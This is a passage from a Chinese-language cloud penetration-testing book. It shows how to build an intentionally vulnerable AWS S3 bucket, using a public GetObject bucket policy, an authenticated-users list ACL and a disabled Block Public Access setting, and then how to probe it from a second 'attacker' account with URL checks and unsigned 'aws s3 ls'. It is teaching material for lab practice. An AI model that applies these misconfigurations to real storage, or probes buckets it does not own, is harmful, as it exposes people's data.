aws.amazon.com/security/ddos-simulation-testing/
需要注意的是,不同的云平台的渗透测试政策和指南各不相同。以下是您在对 Azure 进行渗透测试之前需要查看的一些资源和链接:
-
渗透测试参与规则:
www.microsoft.com/en-us/msrc/pentest-rules-of-engagement?rtc=1 -
渗透 测试:
learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing -
Azure 安全测试 实践:
learn.microsoft.com/en-us/azure/architecture/framework/security/monitor-test
以下是 GCP 的相关资源和链接:
-
云安全 常见问题:
support.google.com/cloud/answer/6262505 -
Google Cloud Platform 可接受使用 政策:
cloud.google.com/terms/aup -
Google Cloud Platform 服务条款:
cloud.google.com/terms/
注
请注意,这些政策和指南可能会在未来发生变化,因此在对云环境中运行的应用程序进行渗透测试之前,请务必查看相关指南。如果有任何问题或需要进一步澄清,请务必联系云平台的支持和安全团队获取指导。
除了之前讨论的内容,还有其他方面需要考虑,特别是在安全性和工程方面:
-
选择实验室所需云基础设施资源的性能要求:在云中建立渗透测试实验室环境时,考虑性能要求并选择适当的云基础设施资源至关重要。这涉及评估诸如网络带宽、计算能力和存储能力等因素,以确保实验室环境能够有效地模拟真实场景,并处理安全测试中资源密集的特点。
-
搭建、运行和维护渗透实验室的整体成本:在云中建立、运营和维护渗透测试实验室环境的成本应从安全性和工程角度来考虑。这包括与资源配置、基础设施管理以及持续监控和更新相关的费用。
-
环境的安全性和可审计性,因为渗透测试实验室必须防止不当的外部攻击:在云中建立渗透测试实验室环境时,确保环境的安全性和可审计性至关重要。必须通过实施强大的安全措施和控制,保护实验室免受不当的外部攻击。这包括利用云平台提供的安全功能,如网络分段、访问控制和监控,以创建一个安全且可审计的测试环境。
-
实验室环境的可扩展性和模块化:使实验室环境具备可扩展性和模块化,可以高效地根据不同场景和需求定制实验室,帮助渗透测试人员有效地模拟和评估各种攻击场景。
-
实验室版本的可管理性:利用版本控制系统和工具,渗透测试人员能够高效地管理和跟踪实验室环境配置、软件版本和自定义脚本的变更。这确保了实验室版本易于维护和重现,并且可以根据需要进行回滚或更新。
-
使用自动化工具和服务进行快速重建和设置:通过利用自动化,渗透测试人员可以更多地专注于实际的测试和分析,而不是花费大量时间在手动设置和维护任务上。
我们可以在此列表中添加更多内容,但这些考虑事项现在应该足够了。我们将在接下来的几章中详细讨论这些安全性和工程考虑事项,并在不同云平台上构建各种按设计脆弱的实验室环境。
总结
在本章中,我们首先快速讨论了在云端搭建渗透测试实验室的优势。接着,我们仔细探讨了云计算如何影响并塑造现代网络安全的格局。我们还研究了现代云应用程序的设计、开发和部署方式。本章的最后,我们深入探讨了在云端设计和构建漏洞环境时需要考虑的几个重要因素。
在下一章中,我们将继续设置我们的第一个云端漏洞实验环境。设置好渗透测试实验室后,我们将使用各种攻击性安全工具和技术验证这些漏洞是否可以被利用。
深入阅读
如果你想了解本章涉及的主题,欢迎查看以下资源:
-
如何在 AWS 上进行安全评估或渗透测试? (
aws.amazon.com/premiumsupport/knowledge-center/penetration-testing/) -
AWS 共享责任 模型 (
aws.amazon.com/compliance/shared-responsibility-model/) -
Azure 渗透测试参与规则 (
www.microsoft.com/en-us/msrc/pentest-rules-of-engagement?rtc=1) -
Azure 安全测试 实践 (
learn.microsoft.com/en-us/azure/architecture/framework/security/monitor-test) -
GCP 云安全 常见问题解答 (
support.google.com/cloud/answer/6262505?hl=en) -
GCP 安全最佳 实践 (
cloud.google.com/security/best-practices)
第二章:准备我们的第一个脆弱云实验环境
在第一章《云端渗透测试实验室入门》中,我们讨论了几个在云端构建有意漏洞实验环境的关键主题。此时,你可能已经迫不及待想要动手实践,并非常期待开始进行一些动手练习。好消息是,我们无需再等太久,因为本章将带领我们开始第一个渗透测试云实验环境的构建。
我们将从本章的动手部分开始,通过创建一个空的 Amazon Simple Storage Service(S3)桶,并将其配置为静态网站托管。接着,我们将通过修改其访问控制设置使该桶配置错误。然后,我们将上传一些示例文件到 S3 桶中,使该环境更加真实。当然,设置脆弱的云实验环境只是第一步!第二步是通过模拟攻击者的攻击过程来测试实验环境的安全配置。测试完成后,我们将进行清理操作,删除桶以及其中存储的文件。
也就是说,我们将涵盖以下主题:
-
设计我们的第一个云渗透测试实验室环境
-
准备我们的第一个脆弱环境
-
测试和黑客攻击我们的第一个脆弱环境
-
清理工作
在本章的动手解决方案中,我们将介绍与安全相关的概念和机制,这些概念和机制可用于管理 S3 桶的访问控制。深入理解这些安全机制的工作原理,将帮助你为更复杂的渗透测试实验环境准备不同的配置错误的 S3 桶变种。
既然如此,让我们开始吧!
技术要求
在开始之前,我们必须准备好以下内容:
-
一个 AWS 账户,将作为目标账户,包含脆弱的环境和资源
-
第二个 AWS 账户,将作为攻击者账户
你可以通过访问aws.amazon.com/free/来创建这些 AWS 账户。账户创建好后,你就可以继续进行下一步操作。
注意
本章主要聚焦于在 AWS 上构建一个样本脆弱实验环境。当然,一旦进入后续章节的动手部分,我们还需要准备好Microsoft Azure和Google Cloud Platform(GCP)账户。在此之前,设置两个 AWS 账户已经足够了。
设计我们的第一个云渗透测试实验室环境
在第一章《在云中入门渗透测试实验室》中,我们讨论了现代云应用程序是如何设计、开发和部署的。我们仔细研究了分布式多层架构和水平扩展策略如何使得可以独立地扩展特定层次,以应对增加的用户流量:

图 2.1 – 第一章中的通用多层架构图
在这里,我们设计的系统具有单独的层次结构来区分 Web 服务器、应用程序服务器和数据库。鉴于这是云架构实现中的一种常见模式,你可能会想知道,当在像 AWS 这样的云平台上实现时,它会是什么样的? 这个问题的答案很简单!在 AWS 上实现时,它看起来几乎是一样的!首先,图 2.1中的资源将简单地有自己对应的 AWS 资源和服务(类似于图 2.2中展示的内容):

图 2.2 – 如何在 AWS 上实现分布式多层架构
在图 2.2中,我们可以看到来自图 2.1的通用负载均衡器资源将被Amazon Elastic Load Balancing(ELB)云资源替换。同样,Web 服务器将被多个Amazon Elastic Compute Cloud(EC2)实例替换。通用数据库服务器资源随后将被托管的Amazon Relational Database Service(RDS)数据库资源替换。
到目前为止,你可能会想知道为什么在图 2.2中我们有一个额外的资源框(也就是表示 Amazon S3 存储桶的框)!其实,即使 Amazon EC2 实例已经附加了存储卷,云工程师通常会通过将文件和对象存储在Amazon S3 存储桶中以及将数据库记录存储在Amazon RDS数据库实例中,进一步解耦应用程序架构。这使得部署在 EC2 实例(虚拟机)集群中的应用程序能够保持无状态(从而更容易实现自动扩展),因为状态被存储在 S3 存储桶和 RDS 数据库实例中。
什么是 Amazon S3?
Amazon S3 是一个对象存储服务,旨在存储和检索各种文件。我们可以把 Amazon S3 看作是一个在线服务,我们可以创建文件存储容器(也叫 S3 存储桶),这些容器可以存储通过 Web 界面、CLI 工具、SDK 或 API 上传的任意数量的文件。当然,我们也可以使用类似的选项从这些存储桶中下载文件。
Amazon S3 在现代部署在 AWS 上的应用程序中扮演着重要角色。许多运行在 AWS 上的云应用程序和系统利用 S3 存储桶来存储各种类型和格式的文件。这包括数据工程和机器学习系统,类似于我们在图 2.3中看到的内容:

图 2.3 – 机器学习和数据工程系统存储数据的位置
在这里,我们有一个机器学习工程系统,利用Amazon SageMaker(托管的机器学习服务)和Amazon Athena(无服务器的交互式分析服务)等托管机器学习和数据工程服务来处理存储在 Amazon S3 桶中的数据。在数据处理操作之前和之后,云数据存储在哪里? 在大多数情况下,数据会存储在 Amazon S3 桶中,特别是在处理数据工程和机器学习工程工作负载时。如我们所见,Amazon S3 是 AWS 上使用最广泛的服务之一。部署在 AWS 上的应用程序最有可能将文件存储在 S3 桶中(或多个 S3 桶中)。其多功能性和可扩展性使其成为在云中存储各种类型的文件和数据的首选。部署应用程序时,利用 S3 桶进行高效和安全的文件存储是一种常见做法,无论是托管静态网站资源、存储用户上传的内容,还是作为大规模分析的数据湖。
在某些情况下,存储在 Amazon S3 中的文件可能包含个人可识别信息(PII)以及其他必须加以保护的敏感信息。这些信息可能包括姓名、地址、社会安全号码或财务信息,如果被未经授权的人访问,可能会造成重大风险。保护这些信息对于维护隐私和遵守数据保护法规至关重要。需要注意的是,S3 桶可能会直接遭到恶意攻击者的攻击,而无需经过负载均衡器和网页应用层,如图 2.2所示。这意味着,如果 S3 桶配置错误(例如,存储在桶中的敏感文件可以公开访问),无论负载均衡器和网页应用层如何安全,攻击者都可以窃取 S3 桶中的文件和数据。
在过去几年中,错误配置的 S3 桶导致了大量数据泄露事件,泄露了包含 PII、敏感企业信息甚至凭证的数百万条记录。以下是过去几年的一些重要事件:
-
在 2017 年,发现大量 S3 桶配置错误,导致敏感信息的泄露,包括 PII、信用报告,甚至是政府和军事数据。
-
在 2018 年,一家 IT 公司泄露了多家财富 100 强公司的数据,导致各种类型的敏感信息和专有数据被曝光。
-
在 2019 年,一家为半数财富 100 强公司提供服务的供应商不小心暴露了 1TB 的备份数据,而一家医疗服务提供商错误配置的 S3 桶暴露了医疗记录和患者与医生的记录。
-
2020 年,一个消费者评分和评论网站的 S3 存储桶配置错误,暴露了老年人的数据,而一家全球科技公司也经历了一次事件,未经授权的人员闯入了其未加固的 AWS S3 存储空间。
-
2022 年,一个配置错误的 S3 存储桶泄露了约 3 TB(太字节!)的敏感机场数据,暴露了航空公司员工的个人身份信息(PII)。
这些事件以及过去几年报告的其他泄露事件,突显了 S3 存储桶配置错误的普遍性及其可能带来的风险。
注意
想了解更多关于这个话题的信息,欢迎查看以下链接:github.com/nagwww/s3-leaks。
为什么攻击 S3 存储桶如此普遍?
云工程师和开发人员通常对不同的访问控制机制如何协同工作以保护 S3 存储桶的理解较差。除此之外,在 S3 存储桶内管理访问控制策略和权限的复杂性增加了另一层挑战。可用的众多选项和设置可能会让经验不足的用户感到不知所措,增加配置错误和敏感信息意外暴露的可能性。这可能导致配置错误的 S3 存储桶泄露并将私密和敏感信息暴露给未经授权的用户。
话虽如此,了解可用的安全措施将有助于我们更好地保护 S3 存储桶中的文件。同时,这也将使我们能够设计和构建涉及 S3 的实际渗透测试实验室。如果你想知道有哪些安全机制可以保护存储在这些 S3 存储桶中的文件,这里有一个快速的列表:
-
身份与访问管理(IAM)策略:通过配置 IAM 策略,组织可以为其 AWS 账户中的用户、组和角色定义精细的权限和访问控制。这可以更精确地控制谁可以对 S3 存储桶执行操作,如读取、写入或删除操作。
-
存储桶策略:存储桶策略在存储桶级别提供了额外的访问控制层。通过存储桶策略,组织可以定义管理对特定 S3 存储桶访问的规则和条件。这包括基于各种因素(如 IP 地址、用户代理或特定 AWS 账户)允许或拒绝访问。
-
访问控制列表(ACLs):ACL 提供了另一种管理对 S3 存储桶和对象访问的机制。ACL 允许组织为存储桶中的单个对象指定权限,从而提供更精细的文件级访问控制。通过设置适当的 ACL,组织可以授予特定用户或组读取或写入权限,同时限制其他人的访问。
-
虚拟私有云 (VPC) 终端节点策略:VPC 终端节点策略允许组织控制其 VPC 环境内对 S3 存储桶的访问。通过定义终端节点策略,组织可以指定哪些 VPC 或子网可以访问特定的 S3 存储桶。这有助于防止来自 VPC 外部的未经授权访问,并通过限制对受信任网络环境的访问,增强存储在 S3 存储桶中的文件的安全性。
-
AWS 组织服务控制策略 (SCPs):SCPs 是 AWS 组织的一部分,允许组织在多个 AWS 账户之间设置精细的权限。通过定义 SCPs,组织可以强制执行适用于所有成员账户的集中式安全策略。这包括控制对 S3 存储桶的访问,并确保在整个组织内应用一致的安全措施。通过利用 SCPs,组织可以增强其 S3 存储桶的整体安全态势,确保文件在整个企业中得到统一保护。
重要提示
虽然 2023 年 4 月之后创建的新 S3 存储桶在创建过程中默认禁用 ACL,但仍然可以通过配置更改在 S3 存储桶配置和创建时启用 ACL。同时,禁用 ACL 的 S3 存储桶可以在存储桶创建后被修改并启用恢复 ACL。尽管采取了强制安全默认设置,但在 2023 年 4 月之前创建的相当一部分 S3 存储桶仍依赖于 ACL,并与其他讨论的 S3 安全机制一起使用。因此,全面理解这些安全机制对于设置基于云的渗透测试实验环境以及确保 S3 安全设置的正确配置至关重要。
即使云平台发布了安全机制和安全升级的防护措施,仍有相当一部分现有的 S3 存储桶存在错误配置。除此之外,无论云架构的其他组件多么安全,错误配置的 S3 存储桶仍然会导致数据泄露,因为在许多情况下,存储在 S3 存储桶中的文件可以直接访问。
在本章中,我们将专注于在我们的 AWS 账户中准备一个错误配置的 S3 存储桶。在构建我们的第一个云渗透测试实验环境(即单个错误配置的 S3 存储桶)之前,我们必须清楚了解最常见的 S3 存储桶错误配置是什么:
-
访客/匿名用户可以对存储在存储桶中的对象执行操作:此错误配置使得攻击者或未经授权的个人能够访问和操作存储在存储桶中的文件和文件夹。未经授权的用户可以列出存储桶中的内容,从中检索对象,甚至上传自己的文件,这可能导致未经授权的数据暴露、修改或删除。
-
“已认证用户”(任何拥有 AWS 账户的人)可以列出文件并读取和写入 S3 存储桶中的对象:此配置错误允许任何拥有 AWS 账户的用户列出、读取和写入存储桶中的对象。这意味着任何拥有 AWS 凭证的个人或用户都可以访问并修改存储桶的内容。
-
S3 存储桶的 ACL 配置可以被外部用户读取:此配置错误帮助攻击者获取有关存储桶安全配置的更多信息。
-
S3 存储桶访问日志记录在 CloudTrail 中已禁用:此配置错误阻止 AWS 用户审核 S3 存储桶的事件历史记录(包括实体或资源在 S3 存储桶上执行的操作)。
注意
如果这是您第一次遇到CloudTrail,它是一个 AWS 服务,帮助监控和记录 AWS 账户活动。此服务在帮助启用治理、合规性、操作审计和风险审计方面发挥着重要作用。在 CloudTrail 中禁用 S3 存储桶的访问日志记录意味着不会生成日志来追踪和记录存储桶的访问活动。这可能会限制检测未经授权的访问尝试、排除故障并为合规性和安全目的保持完整的存储桶活动记录的能力。
通过更加清晰地理解 S3 存储桶可能出现的典型配置错误,我们现在可以继续前进,设计并建立我们的第一个云渗透测试实验室环境。具体而言,我们的重点将是设计一个实验室环境,其中包含一个故意配置错误的 S3 存储桶,用于模拟现实世界中的漏洞。我们的配置错误的 S3 存储桶将存储一些示例文件,类似于图 2.4中所示的内容:

图 2.4 – 我们的 S3 存储桶将如何配置
如图 2.4所示,我们将配置 S3 存储桶,使其具备以下属性和配置设置:
-
静态网站托管 – 已启用:此配置启用指定 S3 存储桶的静态网站托管,使其能够直接从存储桶提供静态网页和资产。
-
阻止公共访问 – 已禁用:此配置(启用时)通过强制限制公共访问来帮助防止敏感数据的意外暴露。然而,当此配置设置被禁用时,匿名用户和未经授权的实体可能能够访问存储桶及其中的对象(特别是当 S3 存储桶配置错误时)。
-
存储桶策略 – 已认证用户可以检索对象:此配置允许已认证用户(即任何拥有 AWS 账户的人)从 S3 存储桶中检索对象,从而允许他们访问存储的数据。
-
访问控制列表(ACL) – 认证用户可以列出对象:这允许认证用户列出 S3 存储桶中的对象。
除了这些,我们还将上传一些在典型 S3 存储桶中可能看到的示例文件。现在我们已经讨论了脆弱实验环境的(误)配置,接下来可以进行本章的动手实践部分!
重要提示
需要注意的是,虽然我们在本章中专注于 Amazon S3,但类似的问题和事件也影响了使用 Azure Blob Storage 和 Google Cloud Storage 的公司。这些服务与 Amazon S3 类似,也面临着类似的安全挑战和漏洞。
准备我们的第一个脆弱环境
正如前一部分所讨论的,我们的第一个脆弱环境将由一个配置错误的 Amazon S3 存储桶和一些示例文件组成。创建空 S3 存储桶有多种方式。本章中,我们将使用 AWS 管理控制台来创建存储桶。
本部分包含四个子部分:
-
创建一个空的 S3 存储桶
-
配置 S3 存储桶以托管静态网站
-
更新 S3 存储桶的配置设置
-
上传文件到 S3 存储桶
重要提示
由于我们将准备一个故意脆弱的 S3 存储桶,请确保不要使用此 S3 存储桶来存储生产数据(或包含敏感信息的文件)。
创建一个空的 S3 存储桶
我们将从创建一个空的 S3 存储桶开始。请确保你使用“目标账户”(第一个 AWS 账户)登录。
重要提示
你也可以选择将 N. Virginia 作为 S3 存储桶创建的区域。在继续操作之前,随时可以使用页面左上角的下拉菜单更新当前区域。
牢记这一点,让我们开始使用 AWS 管理控制台创建空的 S3 存储桶:
-
在搜索栏中输入
s3:![]()
图 2.5 – 导航到 S3 控制台
从结果列表中选择
S3(如图 2.5所示)。 -
接下来,点击 创建存储桶 按钮,如图 2.6所示:
![]()
图 2.6 – 定位创建存储桶按钮
你应该能在页面右上角附近看到 创建存储桶 按钮。
注意
需要注意的是,用户界面可能会每隔几年发生一次变化。然而,这不应妨碍我们继续创建所需资源,因为需要配置的属性和设置基本保持不变(除了少数新增的属性和选项)。
-
在 存储桶名称 下,指定一个全球唯一的存储桶名称:
![]()
图 2.7 – 创建 S3 存储桶
如果你在命名 S3 存储桶时遇到困难,可以将 S3 存储桶命名为sample-web-bucket-<6-8 位随机字母数字字符>。可能需要尝试几次才能得出一个有效且全球唯一的 S3 存储桶名称。
注意
有关如何命名 S3 存储桶的指南,请查看以下链接:docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html。
此外,请从AWS 区域选择框的选项列表中选择美国东部(弗吉尼亚北部)us-east-1。
-
选择启用 ACL选项,类似于图 2.8中所示的那样:
![]()
图 2.8 – 配置对象所有权设置
将对象所有权配置值设置为对象写入者将使对象成为上传它们的 AWS 账户的所有物。这意味着拥有对象的 AWS 账户可以使用 ACL 来授予其他用户访问权限(即使上传对象的 AWS 账户并不是存储桶的所有者)。
重要说明
请注意,AWS 定期更新并改善 AWS 管理控制台的用户体验。在某些情况下,创建资源时的默认配置设置可能会发生变化,尤其是在某些日期之后。例如,从 2023 年 4 月开始,AWS 为 S3 存储桶的公共访问阻止(S3 Block Public Access)和 S3 对象所有权(S3 Object Ownership)设置了一组新的默认设置。因此,到你阅读这本书时,使用 AWS 管理控制台时可能需要点击几个额外的按钮,并且会看到一些差异。有关此主题的更多信息,请查看以下链接:docs.aws.amazon.com/AmazonS3/latest/userguide/create-bucket-faq.html。
-
取消选中阻止所有公共访问复选框,类似于图 2.9中所示的那样:
![]()
图 2.9 – 关闭阻止所有公共访问
除此之外,确保你将我知道当前设置可能导致此存储桶及其中的对象变为公开的复选框设置为ON。这将允许你指定一个存储桶或访问点策略,以授予公共访问权限。
-
你应该会看到一个成功通知,类似于图 2.10中所示的那样:
![]()
图 2.10 – 定位查看详细信息按钮
点击查看详细信息按钮,跳转到我们刚刚创建的 S3 存储桶的具体页面。
这不是很简单吗?当然,我们才刚刚开始——接下来的几节内容中,我们将继续配置这个 S3 存储桶!
配置 S3 存储桶以托管静态网站
接着我们在上一节的内容,继续配置我们的 S3 存储桶以进行静态网站托管。你会惊讶于这项配置是多么简单!话不多说,让我们继续:
-
点击属性以导航到属性标签,如图 2.11中所示:
![]()
图 2.11 – 导航到属性标签
我们应该在属性标签下看到以下内容:(1)桶概览,(2)桶版本控制,(3)标签,(4)默认加密,(5)智能分层归档配置,(6)服务器访问日志,(7)AWS CloudTrail 数据事件,(8)事件通知,(9)
Amazon EventBridge,(10)传输加速,(11)对象锁,(12)请求者付费,和(13)静态网站托管。 -
向下滚动到页面底部,直到看到静态网站****托管面板:
![]()
图 2.12 – 编辑静态网站托管设置
点击编辑按钮,如图 2.12中所示。
-
通过选择启用选项来启用静态网站托管(参见图 2.13):
![]()
图 2.13 – 为 S3 桶启用静态网站托管
之后,确保在索引
文档字段中指定index.html。 -
向下滚动到页面底部并点击保存
更改按钮。
此时,桶仍然为空,因此点击提供的Bucket 网站端点链接(点击保存更改按钮后)将会返回一个404 未找到的错误响应。请不要担心——我们将在下一部分更新桶的访问控制设置后上传自定义的index.html文件。
更新 S3 桶配置设置
现在我们已经为 S3 桶配置了静态网站托管,下一部分涉及配置桶以允许任何拥有 AWS 账户的用户列出和访问存储在桶中的对象。也就是说,我们将在接下来的步骤中更新桶策略和 ACL 配置设置:
-
点击权限标签(位于属性标签旁边)。我们应该在权限标签下看到以下内容:(1)权限概览,(2)阻止公共访问(桶设置),(3)桶策略,(4)对象所有权,(5)访问控制列表(ACL),和(6)跨源资源
共享(CORS)。 -
接下来,点击编辑按钮(如图 2.14中所示),以指定新的桶策略:
![]()
图 2.14 – 编辑桶策略
在图 2.14中,我们可以看到当前没有指定桶策略。
-
点击编辑按钮后,在文本框中指定以下桶策略:
{ "Version": "2012-10-17", "Id": "n", "Statement": [ { "Sid": "SampleStatement", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "s3:GetObject", "Resource": "arn:aws:s3:::<BUCKET NAME>/*" } ] }确保将
<BUCKET NAME>替换为你创建的 S3 桶的桶名。这样你应该能得到一个类似于图 2.15中的桶策略:![]()
图 2.15 – 指定桶策略
该 S3 存储桶策略使任何 AWS 账户都可以从
sample-web-bucket-abc123S3 存储桶中检索对象。你可能会惊讶地发现,我们在图 2.15中看到的配置,实际上是全球范围内 S3 存储桶中常见的配置错误!
重要说明
需要注意的是,将"Action"参数值从"s3:GetObject"更改为"*"将允许任何 AWS 账户执行不必要的操作(例如,上传文件)到我们的 S3 存储桶中。我们不希望其他用户拥有写入访问权限到我们的存储桶!为什么呢?首先,恶意的已认证用户将能够向我们的 S3 存储桶上传多个大型文件(这会影响我们的 AWS 账单)。也就是说,在处理策略时,应该尽量避免使用通配符或星号("*"),即使我们设计的是一个故意脆弱的 S3 存储桶。
-
向下滚动到页面底部,点击保存
更改按钮。 -
现在,让我们修改访问控制列表(ACL)配置设置。点击编辑按钮,如图 2.16所示:
![]()
图 2.16 – 编辑 ACL 配置
在这里,我们可以看到当前的 S3 存储桶 ACL 配置。默认情况下,只有存储桶的所有者(你)才能在存储桶上执行操作。
-
在编辑访问控制列表(ACL) | 访问控制列表(ACL)下,点击对象列中已认证用户组授权方的列出复选框,并将其设置为开启,类似于我们在图 2.17中看到的:
![]()
图 2.17 – 允许认证用户组列出存储桶中的对象
这应该允许任何拥有 AWS 账户的人列出我们 S3 存储桶中的对象。
注释
欢迎查看aws.amazon.com/blogs/security/iam-policies-and-bucket-policies-and-acls-oh-my-controlling-access-to-s3-resources/了解更多关于在多种访问控制机制存在时,权限控制是如何工作的。
-
确保将我理解这些更改对我的对象和存储桶的影响复选框设置为开启:
![]()
图 2.18 – 确认将应用的 ACL 修改
鉴于此配置更改可能带来意想不到的后果(从安全角度来看),AWS 要求我们审查并确认所应用的更改。
重要说明
AWS 建议禁用 ACL,因为在大多数场景和用例中,我们可以依赖 S3 存储桶策略、IAM 策略、VPC 端点策略以及 AWS 组织的 SCP 来管理 S3 的访问控制。然而,尽管存在警告和防护措施,许多现有的 S3 存储桶仍然配置错误并存在漏洞,因为只有新创建的 S3 存储桶才会受到 AWS 强制执行的最新防护措施的保护。
现在我们已经修改了存储桶策略和 ACL 配置设置,接下来将在下一节中继续上传文件到我们的 S3 存储桶。
将文件上传到 S3 存储桶
如果没有存放在我们的易受攻击的 S3 存储桶中的文件,设置就不完整了。也就是说,我们将上传一些我们可能在典型的 S3 存储桶中看到的示例文件。有多种方法可以将文件上传到 S3 存储桶。一种选择是使用 AWS 管理控制台上传文件。另一种选择是使用 AWS CLI 通过命令行上传文件。
在接下来的步骤中,我们将使用 AWS CLI 将文件上传到我们的 S3 存储桶:
-
打开一个新的浏览器标签页,导航到 AWS 控制台。在搜索栏中输入
shell,从结果列表中选择CloudShell,就像我们在 图 2.19 中看到的那样:![]()
图 2.19 – 导航到 CloudShell 控制台
如果你之前没有使用过
AWS CloudShell,它其实是一个基于浏览器的命令行终端,我们可以在其中运行不同的命令来管理我们的资源。在接下来的步骤中,你会惊讶于使用 CloudShell 的便利性!
注意
需要注意的是,AWS CloudShell 可能不支持其他 AWS 区域。如需更多信息,请随时查看以下链接:docs.aws.amazon.com/cloudshell/latest/userguide/supported-aws-regions.html。
-
当你看到 欢迎使用 AWS CloudShell 弹出窗口时,点击 关闭 按钮:
![]()
图 2.20 – 关闭欢迎弹窗
在 图 2.20 中,我们可以看到
AWS CloudShell已预安装 AWS CLI、Python 和 Node.js 以及其他工具。此外,我们还可以使用 1 GB 的免费存储(按 AWS 区域划分),在其中管理、上传和下载用于资源管理和创建的文件。关闭弹出窗口后,你应该能看到一个终端,在终端中可以输入并运行 bash 命令。
-
在我们的 CloudShell 环境的终端(
$符号后面),运行以下 bash 命令:mkdir files cd filesmkdir命令用于创建一个名为files的新目录。之后,使用cd命令进入新创建的目录。 -
接下来,让我们运行以下命令,将
sample_website.zip文件下载到我们刚创建的files目录中:SOURCE=`https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch02/sample_website.zip` wget $SOURCE -O sample_website.zip这将生成一组日志,类似于我们在 图 2.21 中看到的内容:
![]()
图 2.21 – 在 AWS CloudShell 中运行命令
我们刚刚下载的
sample_website.zip文件里面有什么?正如我们在接下来的步骤中看到的,sample_website.zip文件包含一个index.html文件,以及一个目录,里面有应用程序的后端代码备份副本。 -
使用
ls命令列出当前目录中的所有文件:ls此时,我们的当前目录中应该只剩下
sample_website.zip文件。 -
让我们使用
unzip命令提取sample_website.zip文件的内容:unzip sample_website.zip这应该会给我们一组日志,类似于以下代码块中的内容:
Archive: sample_website.zip creating: backup/ creating: backup/backend/ creating: backup/backend/node_modules/ creating: backup/backend/node_modules/dotenv/ ... (and so on) -
在执行上传命令之前,让我们从
files目录删除sample_website.zip文件:rm sample_website.zip -
现在,让我们使用
aws s3 cp命令将文件上传到 S3 存储桶(这大约需要 10 到 15 秒的时间完成):aws s3 cp --recursive . s3://<INSERT S3 BUCKET NAME>确保将
<INSERT S3 BUCKET NAME>替换为你的 S3 存储桶名称。
注意
在这一步中,我们使用AWS CLI从 AWS CloudShell 环境中的一个目录将文件上传到我们的 S3 存储桶。如果这是你第一次使用 AWS CLI,它只是一个用于管理 AWS 资源的命令行工具,包括创建和配置资源、部署应用程序和管理安全设置。有关 AWS CLI 的更多信息,请查看以下视频:www.youtube.com/watch?v=EAFRKMe6j08。
-
返回 S3 控制台,并在属性选项卡下找到静态网站托管配置设置。点击存储桶网站端点链接(如图 2.22所示):
![]()
图 2.22 – 定位存储桶网站端点链接
我们应该看到一个维护页面,类似于图 2.23中所示:
![]()
图 2.23 – 验证文件是否已上传至 S3
请注意,我们上传到 S3 存储桶的
index.html页面在发出请求时会被返回并渲染,因为它是静态网站的配置索引文档。
这样,我们的设置就完成了!在下一部分,我们将测试我们的脆弱环境,并检查当前设置是否正常工作,并按预期配置。
测试并攻击我们的第一个脆弱环境
在本节中,我们将尝试模拟攻击者在试图攻击我们脆弱的 S3 存储桶时可能的行为。攻击者可能会使用一套专门的自动化工具,但在本章节中,我们即使没有这些工具,也应该能顺利进行。
检查并验证 S3 存储桶的安全性
我们将通过一系列手动检查来验证我们创建的 S3 存储桶的安全配置。
重要提示
攻击属于其他用户或公司拥有的云资源是违反道德且非法的。在我们开始之前,请确保阅读《构建渗透测试实验室环境时需要考虑的事项》部分,位于《云中的渗透测试实验室入门》的第一章中,因为我们将模拟攻击过程来验证配置错误和漏洞是否存在并且可被利用。
这样一来,我们可以继续测试和攻击我们脆弱的云实验室设置:
-
在上一节中继续未完的操作,右键单击维护页面的中心位置,并从可用选项列表中选择查看页面源代码。这将让我们看到与图 2.24所示类似的维护页面前端 HTML 代码:
![]()
图 2.24 – 查看页面源代码
由于这是一个静态页面,我们应该无法找到其他链接或资源引用以进一步检查。
-
接下来,访问
http://<S3 BUCKET URL>.s3-website-us-east-1.amazonaws.com/.git来检查(1)是否存在.git目录,(2).git目录是否为公共的。确保将<S3 BUCKET URL>替换为你创建的存储桶名称。你应该看到类似于图 2.25所示的错误信息:![]()
图 2.25 – 404 未找到
如图 2.25所示,存储桶内不存在此类文件或目录。你可以检查其他文件,例如
README.md,但由于我们已经对存储桶中的内容有了大致了解,因此目前可以跳过这些附加步骤。 -
我们还可以通过访问
https://<S3 BUCKET URL>.s3.amazonaws.com/来检查 S3 存储桶内的文件和目录是否会被列出。确保将<S3 BUCKET URL>替换为你的 S3 存储桶名称:![]()
图 2.26 – 检查我们是否能列出存储桶内容
这应该会给我们一个访问被拒绝的错误信息,类似于图 2.26所示。 这是否意味着我们无法作为访客用户(公共访问)访问存储桶内的文件?不一定!我们将在下一步中看到这种情况。
注意
在使用 S3 存储桶时,确保你熟悉可用的不同 URL。除了我们在上一步中检查过的 URL,你还可以检查https://s3.amazonaws.com/<S3 BUCKET URL>/(在此处将<S3 BUCKET URL>替换为 S3 存储桶的名称)。
-
接下来,让我们检查是否可以访问存储桶中的一些已知文件。由于 S3 存储桶配置为托管静态网站,它可能包含
index.html文件(除非存储桶配置为使用其他索引文件)。因此,让我们访问https://<S3 BUCKET URL>.s3.amazonaws.com/index.html。与上一步相同,确保将<S3 BUCKET URL>替换为你的 S3 存储桶名称:![]()
图 2.27 – 检查我们是否能访问 index.html 文件
这应该呈现维护页面,类似于我们在图 2.27中的内容。请注意,我们应该能够访问存储在此存储桶中的其他文件,因为 S3 存储桶很可能被配置为允许未经身份验证的用户读取。然而,由于我们无法从访客用户的角度得知某些文件的存在,因此我们暂时跳过任何类似或相关的步骤。当然,使用自动化脚本通过暴力破解方法检查存储桶中的所有可能密钥也是一种选择(但不推荐)。
-
打开一个私密浏览窗口。访问
aws.amazon.com/console/并登录到你的第二个 AWS 账户:![]()
图 2.28 – 打开私密浏览窗口
当登录到第二个 AWS 账户时,你可能会决定完全使用不同的浏览器。请注意,我们正在模拟从攻击者的角度体验这一过程。
-
在搜索框中输入
shell。从结果列表中选择CloudShell,如图 2.29所示:![]()
图 2.29 – 导航到 CloudShell 控制台
如果看到欢迎使用 AWS CloudShell的弹出窗口,请点击关闭按钮。
-
将
S3_BUCKET变量值设置为我们之前创建的 S3 存储桶的名称:S3_BUCKET=<INSERT S3 BUCKET NAME>确保将
<INSERT S3 BUCKET NAME>的值替换为我们之前创建的 S3 存储桶的名称。 -
使用启用
--no-sign-request标志的aws s3 ls命令列出 S3 存储桶的内容:aws s3 ls s3://$S3_BUCKET --no-sign-request这应该产生一个错误消息,内容为调用 ListObjectsV2 操作时发生错误:
访问被拒绝。
注意
